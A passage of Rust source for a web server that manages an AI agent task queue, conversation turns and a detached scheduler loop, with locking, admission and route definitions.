940    auto_failed_tag: Arc<Mutex<Option<String>>>,
941    upgrade_runner: UpgradeRunner,
942    /// Runs this process is resuming right now.
943    ///
944    /// Separate from `talk_turns` because a run and a talk are different
945    /// things to hold, and a resume is far more expensive to start twice: it
946    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
947    /// guards two taps and two phones, which is this process's own
948    /// concurrency.
949    resuming: Arc<Mutex<HashSet<String>>>,
950    /// The last scan of `[repos] roots`, and when it happened. Shared across
951    /// requests so polling `GET /api/repos` repeatedly does not repeat the
952    /// filesystem walk every time - see [`repos::Cache`].
953    repos_cache: repos::Cache,
954    /// The machine-config file the settings screen reads and writes: always
955    /// [`Config::machine_layer`], never anything a request names. A field so a
956    /// test can point it at its own temp directory instead of the operator's.
957    machine_config: Option<PathBuf>,
958    /// Merge mode override handed to the loop this process starts.
959    merge: Option<String>,
960    /// Local request revision and errors; execution belongs to detached workers.
961    looping: Arc<Mutex<LoopState>>,
962    /// Isolated route-test scheduler; never compiled into production.
963    #[cfg(test)]
964    launch: Launch,
965    /// A test-only stop point inside `talk_say`'s busy branch. See
966    /// [`BusyQueueGate`].
967    #[cfg(test)]
968    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
969    pub(crate) monitor: Arc<SharedMonitor>,
970}
971
972type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
973
974/// A one-shot stop point the busy branch's queued-draft write can be made to
975/// pause at, right before [`talk::queue`] runs.
976///
977/// Exists because a test cannot otherwise pin *when*, relative to the turn
978/// slot being freed, that write happens: `blocking` runs it on
979/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
980/// already finished, so counting polls on the handler future to park it at a
981/// particular `.await` is a guess about scheduling, not a fact about it - see
982/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
983/// used to do exactly that and paid for it with an occasional "async fn
984/// resumed after completion" panic under load.
985///
986/// `reached` fires the instant the write is about to run, so a test waits for
987/// a real event instead of a poll count. `release` then blocks the write
988/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
989/// rather than an async channel because this all happens inside the
990/// `spawn_blocking` closure the write already runs on, off any runtime
991/// worker, so blocking here costs nothing the write was not already going to
992/// cost.
993#[cfg(test)]
994struct BusyQueueGate {
995    reached: tokio::sync::oneshot::Sender<()>,
996    release: std::sync::mpsc::Receiver<()>,
997}
998
999#[cfg(test)]
1000impl std::fmt::Debug for BusyQueueGate {
1001    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
1002        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
1003    }
1004}
1005
1006impl Ui {
1007    /// A server over explicit paths.
1008    pub fn new(
1009        queue: Queue,
1010        questions: Questions,
1011        talks: Talks,
1012        runs: PathBuf,
1013        home: PathBuf,
1014        repo: PathBuf,
1015    ) -> Self {
1016        Self {
1017            queue,
1018            questions,
1019            notices: Notices::at(home.join("notifications")),
1020            talks,
1021            runs,
1022            references: Arc::default(),
1023            home,
1024            repo,
1025            // The default location, overridden by `with_worktrees_root` - a
1026            // builder step rather than a ninth parameter, for the reason
1027            // `with_merge` gives.
1028            worktrees_root: run::default_worktree_root(),
1029            talk_turns: Arc::default(),
1030            admissions: Arc::default(),
1031            upgrade_gate: Arc::default(),
1032            upgrade_spawned: Arc::default(),
1033            upgrade_request_error: Arc::default(),
1034            auto_failed_tag: Arc::default(),
1035            upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
1036            resuming: Arc::default(),
1037            repos_cache: repos::Cache::new(),
1038            machine_config: Config::machine_layer(),
1039            merge: None,
1040            looping: Arc::default(),
1041            #[cfg(test)]
1042            launch: launch_daemon,
1043            #[cfg(test)]
1044            busy_queue_gate: Arc::default(),
1045            monitor: Arc::new(SharedMonitor::new()),
1046        }
1047    }
1048
1049    /// Refresh metadata on every lookup, including external-process writes. Only
1050    /// changed records are parsed. Never publish a partial scan as an empty set.
1051    fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
1052        let mut index = self
1053            .monitor
1054            .queue_index
1055            .lock()
1056            .unwrap_or_else(PoisonError::into_inner);
1057        let entries = match std::fs::read_dir(self.queue.root()) {
1058            Ok(entries) => entries,
1059            Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
1060                index.records.clear();
1061                return Ok(Vec::new());
1062            }
1063            Err(e) => return Err(anyhow::Error::from(e).into()),
1064        };
1065        let mut seen = HashSet::new();
1066        for entry in entries {
1067            let path = entry.map_err(anyhow::Error::from)?.path();
1068            if path.extension().is_none_or(|ext| ext != "json") {
1069                continue;
1070            }
1071            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
1072                continue;
1073            };
1074            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
1075            seen.insert(id.to_owned());
1076            // On platforms without inode/ctime, re-read rather than trust a
1077            // same-size replacement with a preserved modification timestamp.
1078            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
1079                let Ok(task) = self.queue.get(id) else {
1080                    // Isolate an unreadable record, as Queue::list does. Keep
1081                    // its last known relationship so a lookup of THAT task
1082                    // still fails on the authoritative read below. Never let
1083                    // unrelated corruption disable every run and conversation.
1084                    // Counts must not present its previous status as current.
1085                    if let Some((_, record)) = index.records.get_mut(id) {
1086                        Arc::make_mut(record).status = None;
1087                    }
1088                    continue;
1089                };
1090                #[cfg(test)]
1091                {
1092                    index.reparsed += 1;
1093                }
1094                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
1095                    return Err(ApiError::conflict("Queue changed during read; retry"));
1096                }
1097                index
1098                    .records
1099                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
1100            }
1101        }
1102        index.records.retain(|id, _| seen.contains(id));
1103        let mut tasks: Vec<_> = index
1104            .records
1105            .values()
1106            .map(|(_, task)| task.clone())
1107            .collect();
1108        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
1109        Ok(tasks)
1110    }
1111
1112    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
1113        let Some(record) = self
1114            .indexed_tasks()?
1115            .into_iter()
1116            .find(|task| task.runs.iter().any(|id| id == run_id))
1117        else {
1118            return Ok(None);
1119        };
1120        let task = self.queue.get(&record.id)?;
1121        if !task.runs.iter().any(|id| id == run_id) {
1122            return Err(ApiError::conflict("Task relationship changed; retry"));
1123        }
1124        Ok(Some(task))
1125    }
1126
1127    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
1128        self.indexed_tasks()?
1129            .into_iter()
1130            .filter(|task| {
1131                task.chat.as_deref() == Some(talk_id)
1132                    || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1133            })
1134            .map(|record| {
1135                let task = self.queue.get(&record.id)?;
1136                if task.chat.as_deref() != Some(talk_id)
1137                    && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1138                {
1139                    return Err(ApiError::conflict("Task relationship changed; retry"));
1140                }
1141                Ok(task)
1142            })
1143            .collect()
1144    }
1145
1146    /// The operator's own state: `<home>/queue`, `<home>/questions`,
1147    /// `<home>/talks`, `<home>/runs`.
1148    pub fn open(repo: PathBuf) -> Self {
1149        Self::new(
1150            Queue::open(),
1151            Questions::open(),
1152            Talks::open(),
1153            run::runs_root(),
1154            run::home(),
1155            repo,
1156        )
1157    }
1158
1159    /// The merge mode the loop should use, as the command line gave it.
1160    ///
1161    /// A builder step rather than a seventh parameter on [`Ui::new`], because
1162    /// the override is a property of how this process was invoked and not of
1163    /// where its state lives - which is all the tests that build a `Ui` by
1164    /// hand are saying.
1165    #[must_use]
1166    pub fn with_merge(mut self, merge: Option<String>) -> Self {
1167        self.merge = merge;
1168        self
1169    }
1170
1171    /// The machine-config file the settings screen writes, when it is not
1172    /// [`Config::machine_layer`] (tests).
1173    #[cfg(test)]
1174    #[must_use]
1175    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
1176        self.machine_config = path;
1177        self
1178    }
1179
1180    /// Where the runs' worktrees live, when it is not the default.
1181    ///
1182    /// The health view sizes this directory, so a test that leaves it at the
1183    /// default would be measuring the operator's own machine.
1184    #[must_use]
1185    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
1186        self.worktrees_root = root;
1187        self
1188    }
1189
1190    /// Point the loop at something other than [`launch_daemon`].
1191    ///
1192    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
1193    /// this crate may start the real loop.
1194    #[cfg(test)]
1195    #[must_use]
1196    fn with_launch(mut self, launch: Launch) -> Self {
1197        self.launch = launch;
1198        self
1199    }
1200
1201    /// Install a [`BusyQueueGate`] for the next pass through the busy
1202    /// branch's queued-draft write, replacing any earlier one.
1203    ///
1204    /// A setter on `&self` rather than a `with_*` builder consumed once,
1205    /// because a test that drives the busy branch more than once (as
1206    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
1207    /// to build confidence the interleaving is handled deterministically and
1208    /// not just on a lucky run) needs a fresh channel pair each time, on the
1209    /// one `Ui` it already built its temp directories around.
1210    #[cfg(test)]
1211    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
1212        *self
1213            .busy_queue_gate
1214            .lock()
1215            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
1216    }
1217
1218    /// Prevent a restart from ending an already accepted send between its
1219    /// durable transcript write and detached worker reservation.
1220    fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
1221        let guard = Arc::clone(&self.admissions)
1222            .try_read_owned()
1223            .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
1224        if *guard {
1225            return Err(ApiError::conflict(
1226                "web restart in progress; retry this message",
1227            ));
1228        }
1229        Ok(guard)
1230    }
1231
1232    /// Start a scheduler that outlives this web process.
1233    async fn start_detached_loop(&self) -> ApiResult<()> {
1234        if self
1235            .upgrade_spawned
1236            .load(std::sync::atomic::Ordering::SeqCst)
1237        {
1238            return Err(ApiError::conflict("an upgrade is in progress"));
1239        }
1240        let reading = daemon::read_status(&self.home);
1241        if let Some(other) = Foreign::of(reading.as_ref()) {
1242            return Err(ApiError::conflict(format!(
1243                "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
1244                other.who()
1245            )));
1246        }
1247        let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1248        let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1249        let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1250            || reading.is_some_and(|reading| {
1251                reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1252            });
1253        if control.is_some() && scheduler_running {
1254            return Err(ApiError::conflict(
1255                "the scheduler is still stopping; retry Start after it has stopped",
1256            ));
1257        }
1258        if !jobs.iter().any(|job| job.kind == "scheduler") {
1259            let available =
1260                crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1261            if available.is_none() {
1262                return Err(ApiError::conflict(
1263                    "the scheduler is still running or stopping; retry after its transition completes",
1264                ));
1265            }
1266            drop(available);
1267        }
1268        let opts = daemon::Opts {
1269            repo: self.repo.clone(),
1270            merge: self.merge.clone(),
1271            worktrees_root: Some(self.worktrees_root.clone()),
1272            ..daemon::Opts::default()
1273        };
1274        daemon::spawn_detached(&self.home, &opts)
1275            .await
1276            .map_err(ApiError::from)?;
1277        let mut state = self.lock_loop();
1278        state.last_error = None;
1279        state.rev += 1;
1280        Ok(())
1281    }
1282
1283    /// Start the loop in this process, or say who already has one.
1284    ///
1285    /// `foreign` is passed in rather than read here so that one request makes
1286    /// one judgement about who owns the loop: reading the status file again
1287    /// inside this function could refuse a start for a daemon the same
1288    /// response then reports as gone.
1289    #[cfg(test)]
1290    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1291        if let Some(other) = foreign {
1292            return Err(ApiError::conflict(format!(
1293                "{} is already running the loop, so this one will not start a \
1294                 second: two loops on one queue race for the same claims and \
1295                 burn the agent quota twice over. Stop it where it was \
1296                 started.",
1297                other.who()
1298            )));
1299        }
1300        let mut state = self.lock_loop();
1301        if self
1302            .upgrade_spawned
1303            .load(std::sync::atomic::Ordering::SeqCst)
1304        {
1305            return Err(ApiError::conflict("an upgrade is in progress"));
1306        }
1307        if state.live.as_ref().is_some_and(Live::alive) {
1308            return Err(ApiError::conflict(format!(
1309                "this magi web process (pid {}) is already running the loop",
1310                std::process::id()
1311            )));
1312        }
1313
1314        let stop = daemon::Stop::new();
1315        // The CLI's own defaults for everything the UI has no opinion about:
1316        // one poll interval and one retry budget, so a loop started from a
1317        // phone behaves exactly like the `magi serve` it replaces.
1318        let opts = daemon::Opts {
1319            repo: self.repo.clone(),
1320            merge: self.merge.clone(),
1321            // Whatever this `Ui` already reports worktree sizes and folds
1322            // against (see `with_worktrees_root`) is what the loop it starts
1323            // must reclaim orphaned worktrees under too - two different
1324            // opinions about where the worktree bay is would leave the
1325            // janitor pass reclaiming a directory nothing else on this
1326            // process is even looking at.
1327            worktrees_root: Some(self.worktrees_root.clone()),
1328            ..daemon::Opts::default()
1329        };
1330        let launch = self.launch;
1331        let looping = Arc::clone(&self.looping);
1332        let handle = tokio::spawn({
1333            let opts = opts.clone();
1334            let stop = stop.clone();
1335            async move {
1336                let failure = match launch(opts, stop).await {
1337                    Ok(()) => None,
1338                    Err(e) => Some(format!("{e:#}")),
1339                };
1340                match &failure {
1341                    Some(why) => tracing::error!("the loop stopped: {why}"),
1342                    None => tracing::info!("the loop stopped"),
1343                }
1344                // Recorded by the task itself rather than reaped by whichever
1345                // request happens next, so `loop_rev` moves the moment the
1346                // loop ends and a phone with the change stream open learns
1347                // that it did. Clearing `live` drops this task's own handle,
1348                // which only detaches it, and is the last thing it does.
1349                let mut state = lock_or_recover(&looping);
1350                state.live = None;
1351                state.last_error = failure;
1352                state.rev += 1;
1353            }
1354        });
1355        tracing::info!(
1356            "the loop is now running in this process: repo {}, merge {}",
1357            opts.repo.display(),
1358            opts.merge.as_deref().unwrap_or("as the config says")
1359        );
1360        state.live = Some(Live { stop, handle, opts });
1361        // A fresh start is not the place to keep showing why the last one
1362        // died; the operator has read it and pressed the button anyway.
1363        state.last_error = None;
1364        state.rev += 1;
1365        Ok(())
1366    }
1367
1368    /// Ask the loop to stop, without waiting for it to get there.
1369    ///
1370    /// Idempotent: a second tap on stop is not an error, because the first one
1371    /// leaves the loop running for as long as the run in flight takes and the
1372    /// operator has no way to tell a slow stop from a lost one.
1373    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1374        if let Some(other) = foreign {
1375            return Err(ApiError::conflict(format!(
1376                "the loop belongs to {}, and this process cannot stop it - \
1377                 stop it where it was started. A button that silently did \
1378                 nothing would be worse than this refusal.",
1379                other.who()
1380            )));
1381        }
1382        #[cfg(not(test))]
1383        {
1384            daemon::request_control(
1385                &self.home,
1386                if park {
1387                    crate::worker::Control::Park
1388                } else {
1389                    crate::worker::Control::Stop
1390                },
1391            )
1392            .map_err(ApiError::from)?;
1393            self.lock_loop().rev += 1;
1394            Ok(())
1395        }
1396        #[cfg(test)]
1397        {
1398            let mut state = self.lock_loop();
1399            let Some(live) = state.live.as_ref() else {
1400                return Ok(());
1401            };
1402            // A park upgrades a stop that has already been asked for: the
1403            // operator who tapped "stop" and then realised the run has an hour
1404            // left must not have to restart the loop to change their mind.
1405            if live.stop.stopped() && (!park || live.stop.parking()) {
1406                return Ok(());
1407            }
1408            if park {
1409                live.stop.park(crate::run::ParkCause::Operator);
1410                tracing::info!(
1411                    "the loop was asked to park; the run stops at its next node boundary"
1412                );
1413            } else {
1414                live.stop.stop();
1415                tracing::info!("the loop was asked to stop; a run in flight is finished first");
1416            }
1417            state.rev += 1;
1418            Ok(())
1419        }
1420    }
1421
1422    /// The loop as both `/api/loop` and `/api/health` report it.
1423    ///
1424    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1425    /// health answers with this view *and* the daemon object beside it: one
1426    /// read per response is what stops a single answer naming a foreign owner
1427    /// in one field and calling the loop free in the other.
1428    #[cfg(not(test))]
1429    fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1430        let jobs = crate::worker::active(&self.home).map_err(|error| {
1431            ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1432        })?;
1433        Ok(self.runtime_loop_view(reading, &jobs))
1434    }
1435
1436    #[cfg(test)]
1437    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1438        let state = self.lock_loop();
1439        // A loop that panicked never recorded its own end, so the handle -
1440        // not the presence of the record - is what "running" means.
1441        let live = state.live.as_ref().filter(|live| live.alive());
1442        LoopView {
1443            running: live.is_some(),
1444            stopping: live.is_some_and(|live| live.stop.finishing()),
1445            parking: live.is_some_and(|live| live.stop.parking()),
1446            owned: live.is_some(),
1447            repo: live
1448                .map_or(&self.repo, |live| &live.opts.repo)
1449                .display()
1450                .to_string(),
1451            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1452            last_error: state.last_error.clone(),
1453            daemon: DaemonView::of(reading),
1454        }
1455    }
1456
1457    /// Reuse one active-job snapshot for both ownership and public health.
1458    fn runtime_loop_view(
1459        &self,
1460        reading: Option<daemon::Reading>,
1461        jobs: &[crate::worker::Job],
1462    ) -> LoopView {
1463        let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1464        let reporting = reading
1465            .as_ref()
1466            .is_some_and(|r| r.running(Timestamp::now()));
1467        let managed = scheduler.is_some()
1468            || (reporting
1469                && reading
1470                    .as_ref()
1471                    .is_some_and(|r| r.worker_protocol == Some(1)));
1472        let control = crate::worker::control(&self.home, "scheduler")
1473            .ok()
1474            .flatten();
1475        // Foreground serve also persists its options, so ownership never
1476        // causes us to substitute the web process's repository for its own.
1477        let persisted = if managed && scheduler.is_none() {
1478            std::fs::read(self.home.join("scheduler-options.json"))
1479                .ok()
1480                .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1481        } else {
1482            None
1483        };
1484        let repo = scheduler
1485            .and_then(|job| job.payload.get("repo"))
1486            .and_then(serde_json::Value::as_str)
1487            .map(str::to_owned)
1488            .or_else(|| {
1489                persisted
1490                    .as_ref()
1491                    .map(|opts| opts.repo.display().to_string())
1492            })
1493            .unwrap_or_else(|| self.repo.display().to_string());
1494        let merge = match scheduler {
1495            Some(job) => job
1496                .payload
1497                .get("merge")
1498                .and_then(serde_json::Value::as_str)
1499                .map(str::to_owned),
1500            None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1501        };
1502        LoopView {
1503            running: managed || reporting,
1504            stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1505            parking: matches!(control, Some(crate::worker::Control::Park))
1506                && jobs.iter().any(|job| job.kind == "task"),
1507            owned: managed,
1508            repo,
1509            merge,
1510            last_error: self.lock_loop().last_error.clone(),
1511            daemon: DaemonView::of(reading),
1512        }
1513    }
1514
1515    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1516    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1517        lock_or_recover(&self.looping)
1518    }
1519
1520    /// In-flight admission, detached startup, or a cross-process turn lease.
1521    fn is_thinking(&self, id: &str) -> bool {
1522        self.talk_turns
1523            .lock()
1524            .is_ok_and(|turns| turns.live.contains(id))
1525            // Another process (the CLI) can hold the turn through the
1526            // on-disk lease.
1527            || self.talks.turn_held(id)
1528            || crate::chat_worker::turn_worker_active(&self.talks, id)
1529    }
1530
1531    /// 表示専用の観測。ローカルの受付処理やワーカーストアの書き込みを待たない。
1532    /// 送信などの判断には [`Ui::is_thinking`] を使う。
1533    fn is_thinking_observed(&self, id: &str) -> bool {
1534        self.talk_turns.try_lock().map_or_else(
1535            // Admission may itself be waiting on the worker store. Display a
1536            // conservative busy state rather than waiting behind that writer.
1537            |error| matches!(error, std::sync::TryLockError::WouldBlock),
1538            |turns| turns.live.contains(id),
1539        )
1540            // Another process (the CLI) can hold the turn through the
1541            // on-disk lease.
1542            || self.talks.turn_held(id)
1543            || crate::consult::turn_worker_observed(&self.talks, id)
1544    }
1545
1546    /// Claim the right to run one turn in a talk, or report that it is busy.
1547    ///
1548    /// A talk is strictly turn-based: the agent is resumed with the
1549    /// conversation it already has, so two turns running at once would resume
1550    /// the same session twice and append their answers in whatever order the
1551    /// two CLIs finished in. The operator would come back to a transcript
1552    /// with two half-turns interleaved, which is unreadable and, worse,
1553    /// unfixable - there is no undo for a persisted turn.
1554    ///
1555    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1556    /// starting a second CLI invocation for the same session.
1557    ///
1558    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1559    /// taken to test-and-insert and released before the agent is spawned. The
1560    /// returned guard removes the id on drop, which is what makes a panicking
1561    /// handler or a phone that walks out of range leave the talk usable - axum
1562    /// drops the handler future when the client disconnects, and without the
1563    /// guard that talk would be wedged until the server restarted.
1564    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1565        self.claim_talk_turn(id, false)
1566    }
1567
1568    /// Claim a turn after durably queueing a draft, or notify its current
1569    /// owner that a drainer must recheck before it releases the slot.
1570    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1571        self.claim_talk_turn(id, true)
1572    }
1573
1574    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1575        let mut live = self
1576            .talk_turns
1577            .lock()
1578            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1579        if crate::chat_worker::turn_worker_active(&self.talks, id) {
1580            if queued {
1581                *live.queued.entry(id.to_owned()).or_default() += 1;
1582            }
1583            return Ok(None);
1584        }
1585        let inserted = live.live.insert(id.to_owned());
1586        // The on-disk lease is the cross-process half of the gate. Taken
1587        // second, and undone if lost, so `live` never claims a turn the lease
1588        // refused.
1589        let lease = if inserted {
1590            match self.talks.claim_turn(id) {
1591                Ok(Some(lease)) => Some(lease),
1592                Ok(None) => {
1593                    live.live.remove(id);
1594                    None
1595                }
1596                Err(e) => {
1597                    live.live.remove(id);
1598                    return Err(ApiError::from(e));
1599                }
1600            }
1601        } else {
1602            None
1603        };
1604        if lease.is_none() {
1605            if queued {
1606                // A queued write has landed before this busy check.
1607                // `drain_loop` uses this generation to recheck after its
1608                // off-thread disk read, so it cannot release a turn between
1609                // this check and the write.
1610                *live.queued.entry(id.to_owned()).or_default() += 1;
1611            }
1612            return Ok(None);
1613        }
1614        Ok(Some(TalkTurnGuard {
1615            talk: id.to_owned(),
1616            turns: Arc::clone(&self.talk_turns),
1617            released: false,
1618            lease,
1619        }))
1620    }
1621
1622    /// Decide whether a free talk may start a new immediate turn while its
1623    /// claim lock is held. A persisted draft without an owner is recovery
1624    /// state, not a busy turn: two simultaneous `/say` requests must both
1625    /// leave it untouched rather than one of them appending to it.
1626    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1627        let mut live = self
1628            .talk_turns
1629            .lock()
1630            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1631        // A detached worker owns its turn across web process replacement.
1632        if live.live.contains(id) || crate::chat_worker::turn_worker_active(&self.talks, id) {
1633            return Ok(TalkTurnStart::Busy);
1634        }
1635        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1636            return Ok(TalkTurnStart::Foreign);
1637        };
1638        // A refused `Pending` below drops the lease again.
1639        let talk = self.talks.get(id).map_err(ApiError::from)?;
1640        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1641            return Ok(TalkTurnStart::Pending);
1642        }
1643        live.live.insert(id.to_owned());
1644        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1645            talk: id.to_owned(),
1646            turns: Arc::clone(&self.talk_turns),
1647            released: false,
1648            lease: Some(lease),
1649        }))
1650    }
1651
1652    fn queued_generation(&self, id: &str) -> u64 {
1653        let live = self
1654            .talk_turns
1655            .lock()
1656            .unwrap_or_else(PoisonError::into_inner);
1657        live.queued.get(id).copied().unwrap_or(0)
1658    }
1659
1660    /// Claim a run for a resume, on the same reasoning as
1661    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1662    /// disconnected phone does not wedge the run until the server restarts.
1663    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1664        let mut live = self
1665            .resuming
1666            .lock()
1667            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1668        if self
1669            .upgrade_spawned
1670            .load(std::sync::atomic::Ordering::SeqCst)
1671        {
1672            return Err(ApiError::conflict("an upgrade is in progress"));
1673        }
1674        if !live.insert(id.to_owned()) {
1675            return Err(ApiError::conflict(format!(
1676                "run {id} is already being resumed"
1677            )));
1678        }
1679        Ok(ResumeGuard {
1680            run: id.to_owned(),
1681            resuming: Arc::clone(&self.resuming),
1682        })
1683    }
1684
1685    /// The router, with this state baked in.
1686    ///
1687    /// The three front-end files get one explicit route each rather than a
1688    /// path parameter, so there is no traversal surface to get wrong: the set
1689    /// of servable paths is the set written here. The asset route below is the
1690    /// one exception and the only place in this server where a client names a
1691    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1692    pub fn router(self) -> Router {
1693        Arc::new(self).shared_router()
1694    }
1695
1696    fn shared_router(self: Arc<Self>) -> Router {
1697        Router::new()
1698            .route("/", get(index))
1699            .route("/app.css", get(app_css))
1700            .route("/app.js", get(app_js))
1701            .route("/api/health", get(health))
1702            .route("/api/references", post(id_links::resolve_text))
1703            .route("/api/loop", get(loop_get).post(loop_post))
1704            .route("/api/upgrade", post(upgrade_post))
1705            .route("/api/runs", get(runs_list))
1706            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1707            .route("/api/runs/{id}/progress", get(run_progress))
1708            .route("/api/runs/{id}/core", get(run_core))
1709            .route("/api/runs/{id}/report", get(run_report))
1710            .route("/api/runs/{id}/report.json", get(run_report_json))
1711            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1712            .route("/api/runs/{id}/seat-evidence", get(run_seat_evidence))
1713            .route("/api/runs/{id}/seat-evidence/{head}", get(run_seat_diff))
1714            .route("/api/runs/{id}/fold", post(run_fold))
1715            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1716            .route("/api/runs/{id}/resume", post(run_resume))
1717            .route("/api/queue", get(queue_list))
1718            .route("/api/queue/page", get(queue_page))
1719            .route("/api/dependencies", get(dependencies::dependencies_get))
1720            .route("/api/search", get(search_get))
1721            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1722            .route("/api/queue/{id}/core", get(task_core))
1723            .route("/api/stats", get(stats_get))
1724            .route("/api/stats/queue", get(stats_queue))
1725            .route("/api/repos", get(repos_list))
1726            .route("/api/settings", get(settings_get))
1727            .route("/api/settings/roles", put(settings_put_roles))
1728            .route("/api/queue/{id}/hold", post(queue_hold))
1729            .route("/api/queue/{id}/reassign", post(queue_reassign))
1730            .route("/api/queue/{id}/release", post(queue_release))
1731            .route("/api/queue/{id}/priority", post(queue_priority))
1732            .route("/api/queue/{id}/urgent", post(queue_urgent))
1733            .route("/api/queue/{id}/immediate", post(queue_immediate))
1734            .route("/api/queue/{id}/implementers", post(queue_implementers))
1735            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1736            .route("/api/queue/{id}/edit", post(queue_edit))
1737            .route("/api/queue/{id}/done", post(queue_done))
1738            .route("/api/queue/{id}/reopen", post(queue_reopen))
1739            .route("/api/decisions", get(decisions_list))
1740            .route("/api/decisions/{id}", get(decision_get))
1741            .route("/api/questions", get(questions_list))
1742            .route("/api/questions/core", get(questions_core))
1743            .route("/api/questions/origins", get(question_origins))
1744            .route("/api/questions/{id}/answer", post(question_answer))
1745            .route("/api/questions/{id}/say", post(question_say))
1746            .route("/api/questions/{id}/consult", post(question_consult))
1747            .route("/api/questions/{id}/panel", get(question_panel))
1748            // The same asset, reachable from inside the panel by its bare
1749            // filename. A document served at `.../panel` resolves `shot.png`
1750            // to `.../shot.png`, which is not the asset route, so a panel
1751            // written the way its author was told to write it showed broken
1752            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1753            // it - deliberately - so the fix is that the panel's own URL ends
1754            // in a filename and its siblings are the assets.
1755            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1756            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1757            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1758            .route("/api/notifications", get(notifications_list))
1759            .route("/api/notifications/read-all", post(notifications_read_all))
1760            .route("/api/notifications/{id}/read", post(notification_read))
1761            .route(
1762                "/api/notifications/{id}/dismiss",
1763                post(notification_dismiss),
1764            )
1765            .route("/api/talks", get(talks_list).post(talk_post))
1766            .route("/api/talks/page", get(talks_page))
1767            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1768            .route("/api/talks/{id}/core", get(talk_core))
1769            .route("/api/talks/{id}/sections", get(talk_sections))
1770            .route("/api/talks/{id}/say", post(talk_say))
1771            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1772            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1773            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1774            .route("/api/talks/{id}/agent", post(talk_agent))
1775            .route("/api/talks/{id}/persona", post(talk_persona))
1776            .route("/api/talks/{id}/implementers", post(talk_implementers))
1777            .route("/api/talks/{id}/close", post(talk_close))
1778            .route("/api/talks/{id}/reopen", post(talk_reopen))
1779            // `DefaultBodyLimit` is raised only on this one route - every
1780            // other route on this server answers in a few kilobytes, and
1781            // widening the crate-wide default for all of them just because
1782            // one accepts a picture would let any other handler be handed
1783            // a multi-megabyte body it never expects.
1784            .route(
